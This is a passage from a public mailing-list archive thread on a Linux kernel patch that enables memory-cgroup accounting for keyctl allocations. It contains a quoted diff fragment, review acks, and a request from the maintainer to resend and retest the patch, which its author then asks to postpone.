>>> +			0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
>>>  
>>>  	/* add the special key types */
>>>  	list_add_tail(&key_type_keyring.link, &key_types_list);
>>> diff --git a/security/keys/request_key_auth.c b/security/keys/request_key_auth.c
>>> index 41e973500..ed50a100a 100644
>>> --- a/security/keys/request_key_auth.c
>>> +++ b/security/keys/request_key_auth.c
>>> @@ -171,10 +171,10 @@ struct key *request_key_auth_new(struct key *target, const char *op,
>>>  	kenter("%d,", target->serial);
>>>  
>>>  	/* allocate a auth record */
>>> -	rka = kzalloc(sizeof(*rka), GFP_KERNEL);
>>> +	rka = kzalloc(sizeof(*rka), GFP_KERNEL_ACCOUNT);
>>>  	if (!rka)
>>>  		goto error;
>>> -	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL);
>>> +	rka->callout_info = kmemdup(callout_info, callout_len, GFP_KERNEL_ACCOUNT);
>>>  	if (!rka->callout_info)
>>>  		goto error_free_rka;
>>>  	rka->callout_len = callout_len;
>>
> 
> 
> Acked-by: Jarkko Sakkinen <jarkko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>
> 
> BR, Jarkko


^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-30 20:38         ` Andrew Morton
  0 siblings, 0 replies; 12+ messages in thread
From: Andrew Morton @ 2022-05-30 20:38 UTC (permalink / raw)
  To: Vasily Averin
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups, linux-mm, shenwenbo, Johannes Weiner,
	kernel, Jarkko Sakkinen

On Mon, 30 May 2022 12:38:28 +0300 Vasily Averin <vasily.averin@linux.dev> wrote:

> Dear Andrew,
> could you please pick up this patch too?
> 
> ...
>
> >> Reviewed-by: Vasily Averin <vvs@openvz.org>
>
> ...
>
> >> PS. Should I perhaps resend it?

Yes, would someone please resend.  And please also retest it - the
patch is almost a year old.

> > Acked-by: Jarkko Sakkinen <jarkko@kernel.org>



^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-05-30 20:38         ` Andrew Morton
  0 siblings, 0 replies; 12+ messages in thread
From: Andrew Morton @ 2022-05-30 20:38 UTC (permalink / raw)
  To: Vasily Averin
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups-u79uwXL29TY76Z2rM5mHXA,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg,
	shenwenbo-Y5EWUtBUdg4nDS1+zs4M5A, Johannes Weiner,
	kernel-GEFAQzZX7r8dnm+yROfE0A, Jarkko Sakkinen

On Mon, 30 May 2022 12:38:28 +0300 Vasily Averin <vasily.averin-fxUVXftIFDnyG1zEObXtfA@public.gmane.org> wrote:

> Dear Andrew,
> could you please pick up this patch too?
> 
> ...
>
> >> Reviewed-by: Vasily Averin <vvs-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>
>
> ...
>
> >> PS. Should I perhaps resend it?

Yes, would someone please resend.  And please also retest it - the
patch is almost a year old.

> > Acked-by: Jarkko Sakkinen <jarkko-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>


^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-06-03  4:23           ` Vasily Averin
  0 siblings, 0 replies; 12+ messages in thread
From: Vasily Averin @ 2022-06-03  4:23 UTC (permalink / raw)
  To: Andrew Morton
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups, linux-mm, shenwenbo, Johannes Weiner,
	kernel, Jarkko Sakkinen

On 5/30/22 23:38, Andrew Morton wrote:
> On Mon, 30 May 2022 12:38:28 +0300 Vasily Averin <vasily.averin@linux.dev> wrote:
> 
>> Dear Andrew,
>> could you please pick up this patch too?
>>
>> ...
>>
>>>> Reviewed-by: Vasily Averin <vvs@openvz.org>
>>
>> ...
>>
>>>> PS. Should I perhaps resend it?
> 
> Yes, would someone please resend.  And please also retest it - the
> patch is almost a year old.

Please postpone this patch, I need more time for investigations.

Thank you,
	Vasily Averin


^ permalink raw reply	[flat|nested] 12+ messages in thread

* Re: [PATCH] memcg: enable accounting in keyctl subsys
@ 2022-06-03  4:23           ` Vasily Averin
  0 siblings, 0 replies; 12+ messages in thread
From: Vasily Averin @ 2022-06-03  4:23 UTC (permalink / raw)
  To: Andrew Morton
  Cc: Yutian Yang, Shakeel Butt, Michal Hocko, David Howells,
	Roman Gushchin, cgroups-u79uwXL29TY76Z2rM5mHXA,
	linux-mm-Bw31MaZKKs3YtjvyW6yDsg,
	shenwenbo-Y5EWUtBUdg4nDS1+zs4M5A, Johannes Weiner,
	kernel-GEFAQzZX7r8dnm+yROfE0A, Jarkko Sakkinen

On 5/30/22 23:38, Andrew Morton wrote:
> On Mon, 30 May 2022 12:38:28 +0300 Vasily Averin <vasily.averin-fxUVXftIFDnyG1zEObXtfA@public.gmane.org> wrote:
> 
>> Dear Andrew,
>> could you please pick up this patch too?
>>
>> ...
>>
>>>> Reviewed-by: Vasily Averin <vvs-GEFAQzZX7r8dnm+yROfE0A@public.gmane.org>
>>
>> ...
>>
>>>> PS. Should I perhaps resend it?
> 
> Yes, would someone please resend.  And please also retest it - the
> patch is almost a year old.

Please postpone this patch, I need more time for investigations.

Thank you,
	Vasily Averin

^ permalink raw reply	[flat|nested] 12+ messages in thread

end of thread, other threads:[~2022-06-03  4:23 UTC | newest]

Thread overview: 12+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2021-07-19  8:17 [PATCH] memcg: enable accounting in keyctl subsys Yutian Yang
2021-07-19  8:17 ` Yutian Yang
2022-05-23  9:45 ` Vasily Averin
2022-05-23  9:45   ` Vasily Averin
2022-05-23 20:00   ` Jarkko Sakkinen
2022-05-23 20:00     ` Jarkko Sakkinen
2022-05-30  9:38     ` Vasily Averin
2022-05-30  9:38       ` Vasily Averin
2022-05-30 20:38       ` Andrew Morton
2022-05-30 20:38         ` Andrew Morton
2022-06-03  4:23         ` Vasily Averin
2022-06-03  4:23           ` Vasily Averin

This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.